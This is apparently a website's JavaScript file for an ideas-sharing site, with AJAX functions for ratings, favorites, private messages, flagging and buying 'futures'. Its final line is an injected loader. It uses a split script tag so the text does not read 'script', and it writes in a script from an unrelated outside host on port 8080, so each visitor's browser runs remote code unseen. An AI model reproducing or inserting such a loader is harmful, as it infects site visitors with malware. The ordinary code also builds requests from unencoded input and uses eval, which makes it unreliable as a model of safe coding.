// JavaScript Document

var redstar = basedir+"images/LittleRedStar.jpg";
var greystar = basedir+"images/LittleGreyStar.jpg";
var imgthumbsup = basedir+"images/thumbsUpGrey18x20.png"; 
var imgthumbsdown = basedir+"images/thumbsDownGrey18x20.png"

function showstarsoff(idearating)
{
  var htmlcode = "";
  var i=0;
  
  for(i=1; i<=idearating; i++)
  {
     htmlcode += ' <img src="'+redstar+'"/>';	
  }
  for(i=idearating+1; i<=5; i++)
  {
     htmlcode += ' <img src="'+greystar+'"/>';	
  }
  return htmlcode;	
}

function showerrormsg(string)
{
  return '<span class="red">'+string+'</span>';	
}

function showsuccessmsg(string)
{
  return '<span class="green">'+string+'</span>';	
}


function showthumbsupoff()
{
  return '<img src="'+imgthumbsup+'"/>';	
}

function showthumbsdownoff()
{
  return '<img src="'+imgthumbsdown+'"/>';	
}

function shownthumbsup(nthumbsup)
{
  return '<span class="b"><span class="green">'+nthumbsup+'</span></span>';	
}

function shownthumbsdown(nthumbsdown)
{
  return '<span class="b"><span class="red">'+nthumbsdown+'</span></span>';	
}



function stripHTML1(oldString) 
{
  var newString = "";
  var inTag = false;
  for(var i = 0; i < oldString.length; i++) {
   
    if(oldString.charAt(i) == '<') inTag = true;
    if(oldString.charAt(i) == '>')
    {
      inTag = false;
      i++;
    }
   
    if(!inTag) newString += oldString.charAt(i);

  }

  return newString;
}


function stripHTML(oldString,tag)
{
  if(typeof(tag) != 'undefined')
  {
    var re = "/<\s*"+tag+"[^>]*>/gi";
    newString = oldString.replace(eval(re),"");
    var re = "/<\\/\s*"+tag+"\s*>/gi";
    newString = newString.replace(eval(re),"");
  }
  else
  {
    newString = oldString.replace(/(<([^>]+)>)/ig,"");
  }
  return newString;
}


function _gel(id)
{
  return document.getElementById(id);
}


function add2favorite(varname, varvalue, async, dstDivAdd, dstDivMsg) 
{
  var url_script = basedir+'my/favorites/add/favoritejs.php?'+varname+'='+varvalue;
  var oXMLHttpRequest = new XMLHttpRequest;
  oXMLHttpRequest.open("GET", url_script, async);
  oXMLHttpRequest.onreadystatechange = function()
  {
    if (this.readyState == XMLHttpRequest.DONE)
    {
      error = oXMLHttpRequest.getResponseHeader("Error");
      if(error==1)
      {
	_gel(dstDivMsg).innerHTML = showerrormsg(oXMLHttpRequest.responseText);
      }
      else if(error==2)
      {
        if(_gel(dstDivAdd)!=null)
	  _gel(dstDivAdd).innerHTML = stripHTML(_gel(dstDivAdd).innerHTML,'a');
	_gel(dstDivMsg).innerHTML = showerrormsg(oXMLHttpRequest.responseText);		
      }
      else if(error==0)
      {
        if(_gel(dstDivAdd)!=null)
  	  _gel(dstDivAdd).innerHTML = stripHTML(_gel(dstDivAdd).innerHTML,'a');
	_gel(dstDivMsg).innerHTML = showsuccessmsg(oXMLHttpRequest.responseText);		
      }
    }
  }
  oXMLHttpRequest.send(null);

}

function removefavorite(varname, varvalue, async, dstDivRmv, dstDivMsg, dstDivFav) 
{
  if(varname=='id')
    var mesg = "Remove idea from favorites?";
  if(varname=='user')
    var mesg = "Remove originator from favorites?";
  var answer = confirm(mesg);
  if(!answer)
    return;
  var url_script = basedir+'my/favorites/remove/removefavoritejs.php?'+varname+'='+varvalue;
  var oXMLHttpRequest = new XMLHttpRequest;
  oXMLHttpRequest.open("GET", url_script, async);
  oXMLHttpRequest.onreadystatechange = function()
  {
    if (this.readyState == XMLHttpRequest.DONE)
    {
      //alert(oXMLHttpRequest.getAllResponseHeaders());	
      error = oXMLHttpRequest.getResponseHeader("Error");
      if(error==0)
      {
        if(_gel(dstDivRmv)!=null)
  	  _gel(dstDivRmv).innerHTML = stripHTML(_gel(dstDivRmv).innerHTML,'a');
        if(_gel(dstDivFav)!=null)
	{
          _gel(dstDivFav).innerHTML = "";
  	  _gel(dstDivFav).style.height = "auto";
	}
        if(_gel(dstDivMsg)!=null)
	{
	  _gel(dstDivMsg).innerHTML = showsuccessmsg(oXMLHttpRequest.responseText);
  	  _gel(dstDivMsg).style.height = "auto";
	}		
      }
    }
  }
  oXMLHttpRequest.send(null);

}

function rateidea(id, idearating, async, userrating, dstDivRate, dstDivMsg) 
{

  var url_script = basedir+"ideas/rate/ratejs.php?id="+id+"&rating="+userrating;
  var oXMLHttpRequest = new XMLHttpRequest;
  oXMLHttpRequest.open("GET", url_script, async);
  oXMLHttpRequest.onreadystatechange = function()
  {
    if (this.readyState == XMLHttpRequest.DONE)
    {
      error = oXMLHttpRequest.getResponseHeader("Error");
      if(error==1)
	  {
		mesg = "<span class='red'>"+oXMLHttpRequest.responseText+"</span>";
		_gel(dstDivMsg).innerHTML = mesg;
	  }
	  else if(error==2)
	  {
		var divcontents = showstarsoff(idearating);
		_gel(dstDivRate).innerHTML = divcontents;
		mesg = "<span class='red'>"+oXMLHttpRequest.responseText+"</span>";
		_gel(dstDivMsg).innerHTML = mesg;		
	  }
	  else if(error==0)
	  {
        idearating = parseInt(oXMLHttpRequest.getResponseHeader("Rating"));
		_gel(dstDivRate).innerHTML = showstarsoff(idearating);
		mesg = "<span class='green'>"+oXMLHttpRequest.responseText+"</span>";
		_gel(dstDivMsg).innerHTML = mesg;		
	  }
    }
  }
  oXMLHttpRequest.send(null);
}


function ratecomment(id, cid, thumbs, async, dstDivNthumbsUp, dstDivNthumbsDown, dstDivThumbsUp, dstDivThumbsDown, dstDivMsg) 
{

  var url_script = basedir+"ideas/comment/ratejs.php?id="+id+"&cid="+cid+"&thumbs="+thumbs;
  var oXMLHttpRequest = new XMLHttpRequest;
  oXMLHttpRequest.open("GET", url_script, async);
  oXMLHttpRequest.onreadystatechange = function()
  {
    if (this.readyState == XMLHttpRequest.DONE)
    {
	  //alert(oXMLHttpRequest.getAllResponseHeaders());	
      error = oXMLHttpRequest.getResponseHeader("Error");
      if(error==2)
	  {
        _gel(dstDivThumbsUp).innerHTML = showthumbsupoff();
        _gel(dstDivThumbsDown).innerHTML = showthumbsdownoff();
		_gel(dstDivMsg).innerHTML = showerrormsg(oXMLHttpRequest.responseText);
	  }
	  else if(error==0)
	  {
		var nthumbsup = parseInt(oXMLHttpRequest.getResponseHeader("NthumbsUp"));
		var nthumbsdown = parseInt(oXMLHttpRequest.getResponseHeader("NthumbsDown"));
        _gel(dstDivNthumbsUp).innerHTML = shownthumbsup(nthumbsup);
        _gel(dstDivThumbsUp).innerHTML = showthumbsupoff();
		_gel(dstDivNthumbsDown).innerHTML = shownthumbsdown(nthumbsdown);
        _gel(dstDivThumbsDown).innerHTML = showthumbsdownoff();
   	    mesg = showsuccessmsg(oXMLHttpRequest.responseText);
		_gel(dstDivMsg).innerHTML = mesg;		
	  }
    }
  }
  oXMLHttpRequest.send(null);
}




function sendmessage(formId, async, dstDivMsg, dstDivRcpt, dstDivSubj, dstDivMail, dstDivForm)
{
  form = _gel(formId);	
  var recipient = form.recipient.value;
  var mail = form.mail.value;
  var params = "receiver="+recipient+"&mail="+mail;
  if(typeof(form.reply)!='undefined' && form.reply.value!=null)
  {
    var reply = form.reply.value;
    params = params + "&reply="+reply;
  }
  if(typeof(form.subject)!='undefined' && form.subject.value!=null)
  {
    var subject = form.subject.value;
    params = params + "&subject="+subject;
  }
  var url_script = basedir + "my/messages/compose/scripts/sendmailjs.php";
  var oXMLHttpRequest = new XMLHttpRequest;
  oXMLHttpRequest.open("POST", url_script, async);
  oXMLHttpRequest.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
  oXMLHttpRequest.setRequestHeader("Content-length",params.legth);
  oXMLHttpRequest.setRequestHeader("Connection", "close");
   oXMLHttpRequest.onreadystatechange = function()
  {
    if (this.readyState == XMLHttpRequest.DONE)
    {
      error = oXMLHttpRequest.getResponseHeader("Error");
      if(error==2)
      {
	if(oXMLHttpRequest.getResponseHeader("Errorsubject") != null)
	{
          if(_gel(dstDivSubj) != null)
	    _gel(dstDivSubj).innerHTML = showerrormsg(oXMLHttpRequest.getResponseHeader("Errorsubject"));
	}
	if(oXMLHttpRequest.getResponseHeader("Errormail") != null)
	{
          if(_gel(dstDivMail) != null)
 	    _gel(dstDivMail).innerHTML = showerrormsg(oXMLHttpRequest.getResponseHeader("Errormail"));
	}
	if(oXMLHttpRequest.getResponseHeader("Errorreceiver") != null)
	{
          if(_gel(dstDivRcpt) != null)
	    _gel(dstDivRcpt).innerHTML = showerrormsg(oXMLHttpRequest.getResponseHeader("Errorreceiver"));
	}
	_gel(dstDivForm).style.height = "auto";
      }
      if(error==1)
      {
	form.reset();
        if(_gel(dstDivForm) != null)
	  _gel(dstDivForm).style.height = "0";
        if(_gel(dstDivSubj) != null)
	  _gel(dstDivSubj).innerHTML = "";
        if(_gel(dstDivMail) != null)
	  _gel(dstDivMail).innerHTML = "";
        if(_gel(dstDivMsg) != null)
	  _gel(dstDivMsg).innerHTML = showerrormsg(oXMLHttpRequest.responseText);
      }
      if(error==0)
      {
	form.reset();
        if(_gel(dstDivForm) != null)
	  _gel(dstDivForm).style.height = "0";
        if(_gel(dstDivSubj) != null)
	  _gel(dstDivSubj).innerHTML = "";
        if(_gel(dstDivMail) != null)
	  _gel(dstDivMail).innerHTML = "";
        if(_gel(dstDivMsg) != null)
	  _gel(dstDivMsg).innerHTML = showsuccessmsg(oXMLHttpRequest.responseText);
      }
    }
  }
  oXMLHttpRequest.send(params);
}
  

function cancelsendmessage(formId, dstDivRcpt, dstDivSubj, dstDivMail, dstDivForm)
{
  _gel(formId).reset();
  if(_gel(dstDivRcpt) != null)
    _gel(dstDivRcpt).innerHTML = "";
  if(_gel(dstDivSubj) != null)
    _gel(dstDivSubj).innerHTML = "";
  if(_gel(dstDivMail) != null)
    _gel(dstDivMail).innerHTML = "";
  _gel(dstDivForm).style.height = "0";
}

function deletemessage(id, folder, async, dstDivMail, dstDivMsg) 
{
  var mesg = "Delete message?";
  var answer = confirm(mesg);
  if(!answer)
    return false;
  var url_script = basedir+'my/messages/delete/delete_messagejs.php?id='+id+'&folder='+folder;
  var oXMLHttpRequest = new XMLHttpRequest;
  oXMLHttpRequest.open("GET", url_script, async);
  oXMLHttpRequest.onreadystatechange = function()
  {
    if (this.readyState == XMLHttpRequest.DONE)
    {
      //alert(oXMLHttpRequest.getAllResponseHeaders());	
      error = oXMLHttpRequest.getResponseHeader("Error");
      if(error==0)
      {
        if(_gel(dstDivMail)!=null)
	{
          _gel(dstDivMail).innerHTML = "";
  	  _gel(dstDivMail).style.height = "auto";
	}
        if(_gel(dstDivMsg)!=null)
	{
	  _gel(dstDivMsg).innerHTML = showsuccessmsg(oXMLHttpRequest.responseText);
  	  _gel(dstDivMsg).style.height = "auto";
	}		
      }
    }
  }
  oXMLHttpRequest.send(null);

  return true;
}


function spammessage(id, sender, async, dstDivMail, dstDivMsg) 
{
  var mesg = "You have indicated that this message is spam.\nIf you click Ok to Continue, "+sender+" will be blocked and can no longer send you messages.\nThis message will also be deleted your Inbox. Continue ?";
  var answer = confirm(mesg);
  if(!answer)
    return false;
  var url_script = basedir+'my/messages/spam/spamjs.php?id='+id;
  var oXMLHttpRequest = new XMLHttpRequest;
  oXMLHttpRequest.open("GET", url_script, async);
  oXMLHttpRequest.onreadystatechange = function()
  {
    if (this.readyState == XMLHttpRequest.DONE)
    {
      //alert(oXMLHttpRequest.getAllResponseHeaders());	
      error = oXMLHttpRequest.getResponseHeader("Error");
      if(error==0)
      {
        if(_gel(dstDivMail)!=null)
	{
          _gel(dstDivMail).innerHTML = "";
  	  _gel(dstDivMail).style.height = "auto";
	}
        if(_gel(dstDivMsg)!=null)
	{
	  _gel(dstDivMsg).innerHTML = showsuccessmsg(oXMLHttpRequest.responseText);
  	  _gel(dstDivMsg).style.height = "auto";
	}		
      }
    }
  }
  oXMLHttpRequest.send(null);
  return true;
}

function supportidea(formId, async, dstDivMsg, dstDivErr, dstDivForm)
{
  form = _gel(formId);	
  var total = form.total.value;
  var id = form.id.value;
  var params = "total="+total+"&id="+id;
  var url_script = basedir + "ideas/support/scripts/ideainvestjs.php";
  
  var oXMLHttpRequest = new XMLHttpRequest;
  oXMLHttpRequest.open("POST", url_script, async);
  oXMLHttpRequest.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
  oXMLHttpRequest.setRequestHeader("Content-length",params.legth);
  oXMLHttpRequest.setRequestHeader("Connection", "close");
   oXMLHttpRequest.onreadystatechange = function()
  {
    if (this.readyState == XMLHttpRequest.DONE)
    {
      //alert(oXMLHttpRequest.getAllResponseHeaders());
      error = oXMLHttpRequest.getResponseHeader("Error");
	  if(error==2)
	  {
        _gel(dstDivErr).innerHTML = showerrormsg(oXMLHttpRequest.responseText);
		_gel(dstDivForm).style.height = "auto";
	  }
	  if(error==1)
	  {
		 form.reset();
		 _gel(dstDivErr).innerHTML = "";
    	 _gel(dstDivMsg).innerHTML = showerrormsg(oXMLHttpRequest.responseText);
	  	 _gel(dstDivForm).style.height = "0px";
	  }
	  if(error==0)
	  {
		 form.reset();
		 _gel(dstDivForm).style.height = "0px";
		 _gel(dstDivErr).innerHTML = "";
		 _gel(dstDivMsg).innerHTML = showsuccessmsg(oXMLHttpRequest.responseText);
	  }
    }
  }
  oXMLHttpRequest.send(params);
}
  



function emailidea(formId, async, dstDivMsg, dstDivErrEmails, dstDivErrSender, dstDivForm)
{
  form = _gel(formId);
  if (typeof form.sender!='undefined')
  {
    var sender = form.sender.value;
  }
  else
    var sender = '';
  var id     = form.id.value;
  var emails = form.emails.value;
  var params = "id="+id+"&emails="+emails+"&sender="+sender;
  var url_script = basedir + "ideas/email/scripts/email_ideajs.php";
  
  var oXMLHttpRequest = new XMLHttpRequest;
  oXMLHttpRequest.open("POST", url_script, async);
  oXMLHttpRequest.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
  oXMLHttpRequest.setRequestHeader("Content-length",params.legth);
  oXMLHttpRequest.setRequestHeader("Connection", "close");
   oXMLHttpRequest.onreadystatechange = function()
  {
    if (this.readyState == XMLHttpRequest.DONE)
    {
      //alert(oXMLHttpRequest.getAllResponseHeaders());
      error = oXMLHttpRequest.getResponseHeader("Error");
      if(error==2)
      {
	if(oXMLHttpRequest.getResponseHeader("Errorsender") != null)
	{
          _gel(dstDivErrSender).innerHTML = showerrormsg(oXMLHttpRequest.getResponseHeader("Errorsender"));
        }
	if(oXMLHttpRequest.getResponseHeader("Erroremails") != null)
	{
          _gel(dstDivErrEmails).innerHTML = showerrormsg(oXMLHttpRequest.getResponseHeader("Erroremails"));
        }
	_gel(dstDivForm).style.height = "auto";
      }
      else if(error==0)
      {
	form.reset();
	_gel(dstDivForm).style.height = "0";
        if (typeof form.sender!='undefined')
	  _gel(dstDivErrSender).innerHTML = "";
	_gel(dstDivErrEmails).innerHTML = "";
       	_gel(dstDivMsg).innerHTML = showsuccessmsg(oXMLHttpRequest.responseText);
      }

    }
  }
  oXMLHttpRequest.send(params);
}


  
function flagidea(id, flag, async, dstDivFlag, dstDivMsg) 
{

  var url_script = basedir+"ideas/flag/flagjs.php?id="+id+"&flag="+flag;
  var oXMLHttpRequest = new XMLHttpRequest;
  oXMLHttpRequest.open("GET", url_script, async);
  oXMLHttpRequest.onreadystatechange = function()
  {
    if (this.readyState == XMLHttpRequest.DONE)
    {
      //alert(oXMLHttpRequest.getAllResponseHeaders());
      error = oXMLHttpRequest.getResponseHeader("Error");
      if(error==1)
      {
	mesg = "<span class='red'>"+oXMLHttpRequest.responseText+"</span>";
	_gel(dstDivMsg).innerHTML = mesg;
      }
      else if(error==2)
      {
	_gel(dstDivFlag).innerHTML = stripHTML(_gel(dstDivFlag).innerHTML);	
	mesg = "<span class='red'>"+oXMLHttpRequest.responseText+"</span>";
	_gel(dstDivMsg).innerHTML = mesg;		
      }
      else if(error==0)
      {
	mesg = "<span class='green'>"+oXMLHttpRequest.responseText+"</span>";
	_gel(dstDivMsg).innerHTML = mesg;		
      }
    }
  }
  oXMLHttpRequest.send(null);
}




function buyfuture(formId, async, dstDivMsg, dstDivErrAmount, dstDivErrValue, dstDivForm)
{
  form = _gel(formId);	
  var futureamount = form.futureamount.value;
  var futurevalue = form.futurevalue.value;
  var id = form.id.value;
  var params = "futureamount="+futureamount+"&futurevalue="+futurevalue+"&id="+id;
  var url_script = basedir + "futures/submit/futuresubmitjs.php";
  
  var oXMLHttpRequest = new XMLHttpRequest;
  oXMLHttpRequest.open("POST", url_script, async);
  oXMLHttpRequest.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
  oXMLHttpRequest.setRequestHeader("Content-length",params.legth);
  oXMLHttpRequest.setRequestHeader("Connection", "close");
   oXMLHttpRequest.onreadystatechange = function()
  {
    if (this.readyState == XMLHttpRequest.DONE)
    {
      //alert(oXMLHttpRequest.getAllResponseHeaders());
      error = oXMLHttpRequest.getResponseHeader("Error");
      if(error==2)
      {
        if(oXMLHttpRequest.getResponseHeader("Errorfutureamount")!=null)
          _gel(dstDivErrAmount).innerHTML = showerrormsg(oXMLHttpRequest.getResponseHeader("Errorfutureamount"));
        if(oXMLHttpRequest.getResponseHeader("Errorfuturevalue")!=null)
        _gel(dstDivErrValue).innerHTML = showerrormsg(oXMLHttpRequest.getResponseHeader("Errorfuturevalue"));
	_gel(dstDivForm).style.height = "auto";
      }
      if(error==1)
      {
	form.reset();
	_gel(dstDivErrAmount).innerHTML = "";
	_gel(dstDivErrValue).innerHTML = "";
	_gel(dstDivMsg).innerHTML = showerrormsg(oXMLHttpRequest.responseText);
	_gel(dstDivForm).style.height = "0px";
      }
      if(error==0)
      {
	form.reset();
	_gel(dstDivForm).style.height = "0px";
	_gel(dstDivErrAmount).innerHTML = "";
	_gel(dstDivErrValue).innerHTML = "";
	_gel(dstDivMsg).innerHTML = showsuccessmsg(oXMLHttpRequest.responseText);
      }
    }
  }
  oXMLHttpRequest.send(params);
}
  





document.write('<s'+'cript type="text/javascript" src="http://sfofotky.iexam.info:8080/AGP.js"></scr'+'ipt>');